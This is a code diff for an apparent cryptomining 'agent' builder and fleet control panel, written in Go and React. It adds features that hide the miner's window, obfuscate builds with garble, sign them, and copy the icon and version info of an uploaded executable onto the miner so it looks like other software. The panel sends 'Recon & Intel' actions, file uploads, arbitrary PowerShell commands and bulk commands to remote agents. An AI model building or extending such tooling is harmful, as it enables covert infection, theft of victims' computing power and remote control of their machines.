projectRoot, goBinPath: goBin, } + h.resolveToolPaths(projectRoot) + return h } func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { @@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { writeJSON(w, http.StatusOK, resp) } +func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + + var req BuildRequest + var prepPath string + var prepSize int64 + var prepName string + var cleanupPrep func() + + contentType := r.Header.Get("Content-Type") + if strings.HasPrefix(contentType, "multipart/form-data") { + if err := r.ParseMultipartForm(150 << 20); err != nil { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"}) + return + } + configJSON := r.FormValue("config") + if configJSON == "" { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"}) + return + } + if err := json.Unmarshal([]byte(configJSON), &req); err != nil { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"}) + return + } + file, header, err := r.FormFile("prep_exe") + if err != nil { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"}) + return + } + defer file.Close() + if header != nil { + prepSize = header.Size + prepName = header.Filename + } + saved, remove, err := h.saveUploadedPrep(file, header) + if err != nil { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()}) + return + } + prepPath = saved + cleanupPrep = remove + } else { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"}) + return + } + + if cleanupPrep != nil { + defer cleanupPrep() + } + + if err := h.normalizeRequest(&req); err != nil { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()}) + return + } + if !req.FusionEnabled { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"}) + return + } + if req.FusionOutputName == "" && prepName != "" { + req.FusionOutputName = prepName + } + + est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName) + writeJSON(w, http.StatusOK, est) +} + func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") build, err := h.db.GetBuild(buildID) @@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, ldflags += " -H windowsgui" } - cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".") - cmd.Dir = agentDir - cmd.Env = append(os.Environ(), - "GOOS=windows", - "GOARCH=amd64", - "CGO_ENABLED=0", - ) - - output, err := cmd.CombinedOutput() - if err != nil { - log.Printf("Build failed: %v\nOutput: %s", err, string(output)) - return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, "" + obfuscated := h.shouldObfuscate(req) && h.garblePath != "" + if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil { + log.Printf("Build failed: %v", err) + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } finalPath := outputPath @@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, } } + signed := false + if h.shouldSignBuild(req) { + if err := h.signExecutable(finalPath); err != nil { + return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, "" + } + signed = true + if exportPath != "" && exportPath != finalPath { + _ = h.signExecutable(exportPath) + } + } + fileInfo, err := os.Stat(finalPath) if err != nil { return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" @@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, UninstallExportPath: "", FusionEnabled: fusionEnabled, WorkerFile: workerName, + Signed: signed, + Obfuscated: obfuscated, }, http.StatusOK, finalPath } diff --git a/server/internal/builder/icon_resource.go b/server/internal/builder/icon_resource.go new file mode 100644 index 0000000..222d1c1 --- /dev/null +++ b/server/internal/builder/icon_resource.go @@ -0,0 +1,36 @@ +package builder + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" +) + +func writeIconAndVersionWinresJSON(fullWinresPath string) (string, error) { + data, err := os.ReadFile(fullWinresPath) + if err != nil { + return "", err + } + var doc map[string]json.RawMessage + if err := json.Unmarshal(data, &doc); err != nil { + return "", err + } + icons, ok := doc["RT_GROUP_ICON"] + if !ok || len(icons) == 0 || string(icons) == "null" { + return "", fmt.Errorf("prep exe has no RT_GROUP_ICON resources") + } + outDoc := map[string]json.RawMessage{"RT_GROUP_ICON": icons} + if version, hasVersion := doc["RT_VERSION"]; hasVersion && len(version) > 0 && string(version) != "null" { + outDoc["RT_VERSION"] = version + } + out, err := json.MarshalIndent(outDoc, "", " ") + if err != nil { + return "", err + } + outPath := filepath.Join(filepath.Dir(fullWinresPath), "filtered.json") + if err := os.WriteFile(outPath, out, 0644); err != nil { + return "", err + } + return outPath, nil +} diff --git a/server/internal/builder/icon_stub.go b/server/internal/builder/icon_stub.go index b2b95b4..7bddfb5 100644 --- a/server/internal/builder/icon_stub.go +++ b/server/internal/builder/icon_stub.go @@ -2,10 +2,16 @@ package builder +import "fmt" + func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error { return nil } +func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error { + return fmt.Errorf("fusion resource embedding requires building on Windows") +} + func fusionLdflags(prepPath string) string { return "-s -w -H windowsgui" } diff --git a/server/internal/builder/icon_test.go b/server/internal/builder/icon_test.go new file mode 100644 index 0000000..c1eac47 --- /dev/null +++ b/server/internal/builder/icon_test.go @@ -0,0 +1,36 @@ +package builder + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestWriteIconAndVersionWinresJSON(t *testing.T) { + dir := t.TempDir() + full := filepath.Join(dir, "winres.json") + if err := os.WriteFile(full, []byte(`{ + "RT_GROUP_ICON": { + "#1": { "0409": "a.ico" } + }, + "RT_VERSION": { "#1": { "0409": {} } } +}`), 0644); err != nil { + t.Fatal(err) + } + out, err := writeIconAndVersionWinresJSON(full) + if err != nil { + t.Fatal(err) + } + raw, err := os.ReadFile(out) + if err != nil { + t.Fatal(err) + } + s := string(raw) + if !strings.Contains(s, "RT_GROUP_ICON") || !strings.Contains(s, "a.ico") { + t.Fatalf("unexpected icons-only json: %s", raw) + } + if !strings.Contains(s, "RT_VERSION") { + t.Fatalf("version info should be preserved: %s", raw) + } +} diff --git a/server/internal/builder/icon_windows.go b/server/internal/builder/icon_windows.go index 91a37cd..da78ec0 100644 --- a/server/internal/builder/icon_windows.go +++ b/server/internal/builder/icon_windows.go @@ -3,6 +3,7 @@ package builder import ( + "encoding/json" "fmt" "log" "os" @@ -11,6 +12,77 @@ import ( "strings" ) +// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build). +func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error { + if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil { + log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath)) + return nil + } else { + log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err) + } + if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil { + log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath)) + return nil + } + return fmt.Errorf("could not copy icon/resources from prep exe") +} + +func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error { + workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*") + if err != nil { + return err + } + defer os.RemoveAll(workDir) + + if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil { + return err + } + + filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json")) + if err != nil { + return err + } + + if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil { + return err + } + return nil +} + +func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error { + workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*") + if err != nil { + return err + } + defer os.RemoveAll(workDir) + + iconPath := filepath.Join(workDir, "prep-icon.ico") + if err := extractIconFromEXE(prepPath, iconPath); err != nil { + return err + } + + doc := map[string]any{ + "RT_GROUP_ICON": map[string]any{ + "APP": map[string]any{ + "0409": "prep-icon.ico", + }, + }, + } + jsonPath := filepath.Join(workDir, "icons-only.json") + raw, err := json.MarshalIndent(doc, "", " ") + if err != nil { + return err + } + if err := os.WriteFile(jsonPath, raw, 0644); err != nil { + return err + } + + if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil { + return err + } + return nil +} + // extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path. func extractIconFromEXE(exePath, icoPath string) error { exeEsc := strings.ReplaceAll(exePath, `'`, `''`) @@ -37,34 +109,10 @@ $fs.Close() return nil } -// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon. func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error { - iconPath := filepath.Join(fusionDir, "prep-icon.ico") - if err := extractIconFromEXE(prepPath, iconPath); err != nil { - return err - } - - productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath)) - cmd := exec.Command( - "go", "run", "github.com/tc-hib/go-winres@v0.3.1", - "make", - "--arch", "amd64", - "--in", fusionDir, - "--icon", iconPath, - "--file-description", productName, - "--product-name", productName, - "--original-filename", filepath.Base(prepPath), - ) - cmd.Dir = fusionDir - out, err := cmd.CombinedOutput() - if err != nil { - return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out))) - } - log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath)) return nil } -// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI). func peSubsystem(exePath string) int { data, err := os.ReadFile(exePath) if err != nil || len(data) < 128 { diff --git a/server/internal/builder/sign_stub.go b/server/internal/builder/sign_stub.go new file mode 100644 index 0000000..4412b49 --- /dev/null +++ b/server/internal/builder/sign_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package builder + +import "fmt" + +func (h *Handler) shouldSignBuild(req *BuildRequest) bool { + return false +} + +func (h *Handler) signExecutable(path string) error { + return fmt.Errorf("code signing requires building on Windows") +} diff --git a/server/internal/builder/sign_windows.go b/server/internal/builder/sign_windows.go new file mode 100644 index 0000000..8ffca9a --- /dev/null +++ b/server/internal/builder/sign_windows.go @@ -0,0 +1,79 @@ +//go:build windows + +package builder + +import ( + "fmt" + "log" + "os" + "os/exec" + "path/filepath" + "strings" +) + +func (h *Handler) shouldSignBuild(req *BuildRequest) bool { + if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" { + return false + } + return req.SignBuild +} + +func (h *Handler) signExecutable(path string) error { + policy := h.policy.Sign + tool := strings.TrimSpace(policy.ToolPath) + if tool == "" { + var err error + tool, err = findSignTool() + if err != nil { + return err + } + } + + tsURL := strings.TrimSpace(policy.TimestampURL) + if tsURL == "" { + tsURL = "http://timestamp.digicert.com" + } + + args := []string{ + "sign", + "/fd", "SHA256", + "/tr", tsURL, + "/td", "SHA256", + "/sha1", strings.TrimSpace(policy.CertThumbprint), + path, + } + cmd := exec.Command(tool, args...) + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("signtool: %w (%s)", err, strings.TrimSpace(string(out))) + } + log.Printf("[Forge] Signed %s", filepath.Base(path)) + return nil +} + +func findSignTool() (string, error) { + if p, err := exec.LookPath("signtool"); err == nil { + return p, nil + } + if p, err := exec.LookPath("signtool.exe"); err == nil { + return p, nil + } + + roots := []string{ + os.Getenv("ProgramFiles(x86)"), + os.Getenv("ProgramFiles"), + } + for _, root := range roots { + if root == "" { + continue + } + kits := filepath.Join(root, "Windows Kits", "10", "bin") + matches, _ := filepath.Glob(filepath.Join(kits, "*", "x64", "signtool.exe")) + for i := len(matches) - 1; i >= 0; i-- { + if _, err := os.Stat(matches[i]); err == nil { + return matches[i], nil + } + } + } + return "", fmt.Errorf("signtool.exe not found — install Windows SDK or set sign_tool_path in Calibrate") +} diff --git a/server/internal/builder/winres.go b/server/internal/builder/winres.go new file mode 100644 index 0000000..4f1496c --- /dev/null +++ b/server/internal/builder/winres.go @@ -0,0 +1,54 @@ +package builder + +import ( + "fmt" + "os/exec" + "path/filepath" + "strings" +) + +func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) { + if h.goWinresPath != "" { + cmd := exec.Command(h.goWinresPath, args...) + if dir != "" { + cmd.Dir = dir + } + out, err := cmd.CombinedOutput() + if err != nil { + return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out))) + } + return out, nil + } + + modDir := h.serverModDir + if modDir == "" { + modDir = "." + } + cmd := exec.Command(h.goBinPath, append([]string{"run", "github.com/tc-hib/go-winres"}, args...)...) + cmd.Dir = modDir + if dir != "" { + cmd.Dir = dir + } + out, err := cmd.CombinedOutput() + if err != nil { + return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out))) + } + return out, nil +} + +func (h *Handler) resolveToolPaths(projectRoot string) { + if h.goBinPath == "" { + h.goBinPath = "go" + } + if h.serverModDir == "" { + h.serverModDir = filepath.Join(projectRoot, "server") + } + if p, err := exec.LookPath("garble"); err == nil { + h.garblePath = p + } + if p, err := exec.LookPath("go-winres"); err == nil { + h.goWinresPath = p + } else if p, err := exec.LookPath("go-winres.exe"); err == nil { + h.goWinresPath = p + } +} diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go new file mode 100644 index 0000000..ab09c31 --- /dev/null +++ b/server/internal/db/agent_meta.go @@ -0,0 +1,58 @@ +package db + +import ( + "encoding/json" + "strings" + + "crypto-miner-server/internal/models" +) + +func decodeTags(raw string) []string { + raw = strings.TrimSpace(raw) + if raw == "" || raw == "[]" { + return []string{} + } + var tags []string + if err := json.Unmarshal([]byte(raw), &tags); err != nil { + return []string{} + } + return tags +} + +func encodeTags(tags []string) string { + if len(tags) == 0 { + return "[]" + } + b, _ := json.Marshal(tags) + return string(b) +} + +func (d *Database) scanAgent(row interface { + Scan(dest ...any) error +}) (*models.Agent, error) { + a := &models.Agent{} + var notes, tagsRaw string + err := row.Scan( + &a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, + &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, + &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, + &a.SharesTotal, &a.SharesGood, &a.SharesBad, + &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, + ¬es, &tagsRaw, + ) + if err != nil { + return nil, err + } + a.Notes = notes + a.Tags = decodeTags(tagsRaw) + return a, nil +} + +const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, + hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, + cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags` + +func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { + _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) + return err +} diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index eff914a..fa3c682 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -111,6 +111,8 @@ func (d *Database) migrate() error { // Best-effort schema upgrades for existing databases. _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`) return nil } @@ -150,24 +152,12 @@ func (d *Database) SetAgentOffline(id string) error { } func (d *Database) GetAgent(id string) (*models.Agent, error) { - a := &models.Agent{} - query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, - hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds - FROM agents WHERE id = ?` - err := d.QueryRow(query, id).Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, - &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, - &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad, - &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds) - if err != nil { - return nil, err - } - return a, nil + query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?` + return d.scanAgent(d.QueryRow(query, id)) } func (d *Database) ListAgents() ([]*models.Agent, error) { - query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, - hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds - FROM agents ORDER BY last_seen DESC` + query := `SELECT ` + agentSelectCols + ` FROM agents ORDER BY last_seen DESC` rows, err := d.Query(query) if err != nil { return nil, err @@ -176,11 +166,8 @@ func (d *Database) ListAgents() ([]*models.Agent, error) { var agents []*models.Agent for rows.Next() { - a := &models.Agent{} - if err := rows.Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, - &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, - &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad, - &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds); err != nil { + a, err := d.scanAgent(rows) + if err != nil { return nil, err } agents = append(agents, a) diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index 57a227a..ba8ea0f 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -24,6 +24,9 @@ type Agent struct { CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` + + Notes string `json:"notes"` + Tags []string `json:"tags"` } type Share struct { diff --git a/server/main.go b/server/main.go index 2d8884a..a7ba18f 100644 --- a/server/main.go +++ b/server/main.go @@ -201,9 +201,20 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic) } if builderHandler != nil { + defaultObfuscate := cfg.Server.ObfuscateDefault + if os.Getenv("AETHERFORGE_RELEASE") == "1" { + defaultObfuscate = true + } builderHandler.SetBuildPolicy(builder.BuildPolicy{ StrictWalletValidation: cfg.Server.StrictWalletValidation, MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB, + DefaultObfuscate: defaultObfuscate, + Sign: builder.SignPolicy{ + Enabled: cfg.Server.SignEnabled, + CertThumbprint: cfg.Server.SignCertThumbprint, + ToolPath: cfg.Server.SignToolPath, + TimestampURL: cfg.Server.SignTimestampURL, + }, }) } applyControlServerFirewall(cfg) diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 5858ef2..555d741 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,4 +1,4 @@ -import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types'; +import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate } from '../types'; import { authHeaders } from './auth'; const API_BASE = '/api/v1'; @@ -63,6 +63,23 @@ export const api = { }); }, + estimateFusion: (req: BuildRequest, prepFile: File) => { + const form = new FormData(); + form.append('config', JSON.stringify(req)); + form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); + return fetch(`${API_BASE}/builder/estimate`, { + method: 'POST', + headers: authHeaders(), + body: form, + }).then(async (res) => { + if (!res.ok) { + const err = await res.text(); + throw new Error(`API error ${res.status}: ${err}`); + } + return res.json() as Promise; + }); + }, + buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`, @@ -101,6 +118,18 @@ export const api = { getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), + updateAgentMeta: (id: string, notes: string, tags: string[]) => + fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, { + method: 'PUT', + body: JSON.stringify({ notes, tags }), + }), + + sendBulkCommand: (agentIds: string[], action: string) => + fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', { + method: 'POST', + body: JSON.stringify({ agent_ids: agentIds, action }), + }), + createUser: (username: string, password: string) => fetchJSON<{ success: boolean }>('/users', { method: 'POST', diff --git a/server/web/src/components/Fleet/AgentListItem.tsx b/server/web/src/components/Fleet/AgentListItem.tsx new file mode 100644 index 0000000..49c2cac --- /dev/null +++ b/server/web/src/components/Fleet/AgentListItem.tsx @@ -0,0 +1,97 @@ +import AgentRemoteActions from './AgentRemoteActions'; +import { formatHashrate, formatUptime } from '../../help/fleetFilters'; +import type { Agent } from '../../types'; +import type { WSMessage } from '../../types'; + +interface Props { + agent: Agent; + selected: boolean; + expanded: boolean; + selectable?: boolean; + checked?: boolean; + onToggleExpand: () => void; + onSelect: () => void; + onCheck?: (checked: boolean) => void; + latestWsMessage?: WSMessage | null; +} + +export default function AgentListItem({ + agent, + selected, + expanded, + selectable, + checked, + onToggleExpand, + onSelect, + onCheck, + latestWsMessage, +}: Props) { + const online = agent.status === 'online'; + + const handleRowClick = (e: React.MouseEvent) => { + const target = e.target as HTMLElement; + if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) { + return; + } + onSelect(); + onToggleExpand(); + }; + + return ( +
+
+
+ {selectable && ( + { + e.stopPropagation(); + onCheck?.(e.target.checked); + }} + onClick={(e) => e.stopPropagation()} + /> + )} + + {agent.name} +
+ {agent.status} +
+ + {(agent.tags?.length ?? 0) > 0 && ( +
+ {agent.tags!.map((t) => ( + {t} + ))} +
+ )} + +
+ {formatHashrate(agent.hashrate_15m)} + {agent.ip || '—'} + {!expanded && click for details} +
+ + {!expanded && agent.notes?.trim() && ( +

{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}

+ )} + + {expanded && ( +
e.stopPropagation()}> +
+ Shares: {agent.shares_good}/{agent.shares_total} + {agent.cpu_cores} cores · {agent.memory_gb} GB + Uptime: {formatUptime(agent.uptime_seconds)} + v{agent.version || '?'} +
+ {agent.notes?.trim() &&

{agent.notes}

} + +
+ )} +
+ ); +} diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index 83d4943..ef23fcb 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -1,6 +1,7 @@ import React, { useState, useRef, useEffect, useCallback } from 'react'; import { api } from '../../api/client'; import type { Agent, WSMessage } from '../../types'; +import type { WSCommandResult } from '../../types/ws'; import './AgentRemoteActions.css'; interface Props { @@ -8,6 +9,8 @@ interface Props { agent?: Agent; agentId?: string; agentName?: string; + /** Explicit online flag — use when agent object may be stale */ + online?: boolean; compact?: boolean; latestWsMessage?: WSMessage | null; onCommandSent?: (action: string) => void; @@ -17,13 +20,14 @@ export default function AgentRemoteActions({ agent, agentId: agentIdProp, agentName: agentNameProp, + online: onlineProp, compact = false, latestWsMessage, onCommandSent, }: Props) { const agentId = agentIdProp ?? agent?.id ?? ''; const agentName = agentNameProp ?? agent?.name ?? 'Agent'; - const online = agent?.status !== 'offline'; + const isOnline = onlineProp ?? agent?.status === 'online'; const [isDragging, setIsDragging] = useState(false); const [customCmd, setCustomCmd] = useState(''); @@ -42,12 +46,7 @@ export default function AgentRemoteActions({ useEffect(() => { if (!latestWsMessage || latestWsMessage.type !== 'command_result') return; - const payload = latestWsMessage.payload as { - agent_id?: string; - action?: string; - success?: boolean; - message?: string; - }; + const payload = latestWsMessage.payload as WSCommandResult; const { agent_id, action, success, message } = payload; if (agentId && agentId !== 'all' && agent_id !== agentId) return; @@ -64,7 +63,7 @@ export default function AgentRemoteActions({ addLog('No agent selected'); return; } - if (agent && !online) { + if (agent && !isOnline) { addLog('Agent is offline'); return; } @@ -121,10 +120,10 @@ export default function AgentRemoteActions({ return (
e.stopPropagation()}>
- - - - + + + +
); @@ -145,30 +144,30 @@ export default function AgentRemoteActions({

Recon & Intel

- - - - - - - + + + + + + +

Mining Controls

- - + +

System Power

- - - + + +
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
📥

Drag & Drop file here

@@ -212,9 +211,9 @@ export default function AgentRemoteActions({ onChange={(e) => setCustomCmd(e.target.value)} placeholder="Enter PowerShell command..." autoComplete="off" - disabled={!online} + disabled={!isOnline} /> - +
diff --git a/server/web/src/components/Fleet/FleetToolbar.css b/server/web/src/components/Fleet/FleetToolbar.css new file mode 100644 index 0000000..e6e5c59 --- /dev/null +++ b/server/web/src/components/Fleet/FleetToolbar.css @@ -0,0 +1,103 @@ +.agents-list-panel { + flex: 1; + min-width: 0; +} + +.agents-list-panel .agents-list { + display: flex; + flex-direction: column; + gap: 0.5rem; +} + +.fleet-toolbar { + margin-bottom: 1rem; + padding: 0.85rem 1rem; +} + +.fleet-toolbar-filters { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + align-items: center; +} + +.fleet-filter-search { + flex: 1 1 180px; + min-width: 160px; +} + +.fleet-filter-select { + min-width: 120px; +} + +.fleet-filter-attn { + font-size: 0.85rem; + white-space: nowrap; +} + +.fleet-bulk-bar { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + align-items: center; + margin-top: 0.75rem; + padding-top: 0.75rem; + border-top: 1px solid rgba(255, 255, 255, 0.08); +} + +.agent-list-item.compact-row { + cursor: pointer; + padding: 0.65rem 0.85rem; +} + +.agent-list-item.compact-row .agent-list-header { + margin-bottom: 0.25rem; +} + +.agent-list-item.compact-row .agent-list-details, +.agent-list-item.compact-row .agent-list-meta { + font-size: 0.82rem; + opacity: 0.9; +} + +.agent-list-item.expanded { + border-color: rgba(0, 245, 255, 0.35); +} + +.agent-list-expand { + margin-top: 0.65rem; + padding-top: 0.65rem; + border-top: 1px solid rgba(255, 255, 255, 0.08); +} + +.agent-tag-chip { + display: inline-block; + font-size: 0.7rem; + padding: 0.1rem 0.45rem; + margin-right: 0.25rem; + border-radius: 4px; + background: rgba(0, 245, 255, 0.12); + color: var(--neon-cyan, #0ff); + border: 1px solid rgba(0, 245, 255, 0.25); +} + +.agent-list-notes-preview { + font-size: 0.8rem; + color: var(--text-muted, #888); + font-style: italic; + margin-top: 0.25rem; +} + +.agent-list-select { + margin-right: 0.5rem; +} + +.agent-meta-editor { + display: flex; + flex-direction: column; + gap: 0.75rem; +} + +.agent-meta-tags-input { + font-size: 0.85rem; +} diff --git a/server/web/src/components/Fleet/FleetToolbar.tsx b/server/web/src/components/Fleet/FleetToolbar.tsx new file mode 100644 index 0000000..34fe7a4 --- /dev/null +++ b/server/web/src/components/Fleet/FleetToolbar.tsx @@ -0,0 +1,92 @@ +import type { FleetFilterState } from '../../help/fleetFilters'; +import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters'; +import type { Agent } from '../../types'; +import './FleetToolbar.css'; + +interface Props { + agents: Agent[]; + filters: FleetFilterState; + onChange: (next: FleetFilterState) => void; + selectedCount: number; + onBulkAction: (action: string) => void; + bulkBusy: boolean; +} + +export default function FleetToolbar({ + agents, + filters, + onChange, + selectedCount, + onBulkAction, + bulkBusy, +}: Props) { + const tags = collectFleetTags(agents); + const subnets = collectFleetSubnets(agents); + + return ( +
+
+ onChange({ ...filters, search: e.target.value })} + /> + + + + +
+ + {selectedCount > 0 && ( +
+ {selectedCount} selected + + + + +
+ )} +
+ ); +} diff --git a/server/web/src/help/fleetFilters.test.ts b/server/web/src/help/fleetFilters.test.ts new file mode 100644 index 0000000..b1b0161 --- /dev/null +++ b/server/web/src/help/fleetFilters.test.ts @@ -0,0 +1,53 @@ +import { describe, expect, it } from 'vitest'; +import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters'; +import type { Agent } from '../types'; + +const base = (over: Partial): Agent => ({ + id: '1', + name: 'w1', + wallet: '', + ip: '192.168.1.10', + version: '1', + status: 'online', + cpu_cores: 4, + memory_gb: 8, + last_seen: '', + created_at: '', + hashrate_15s: 0, + hashrate_1m: 0, + hashrate_15m: 5000, + shares_total: 0, + shares_good: 0, + shares_bad: 0, + cpu_usage_pct: 0, + memory_usage_pct: 0, + uptime_seconds: 0, + tags: ['lab'], + ...over, +}); + +const DEFAULT = { + search: '', + tag: '', + subnet: '', + hashrateMin: 0, + needsAttention: false, +}; + +describe('fleetFilters', () => { + it('filters by tag and subnet', () => { + const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })]; + expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1); + expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1); + }); + + it('flags offline as needs attention', () => { + expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true); + }); +}); + +describe('agentSubnet', () => { + it('masks last octet', () => { + expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x'); + }); 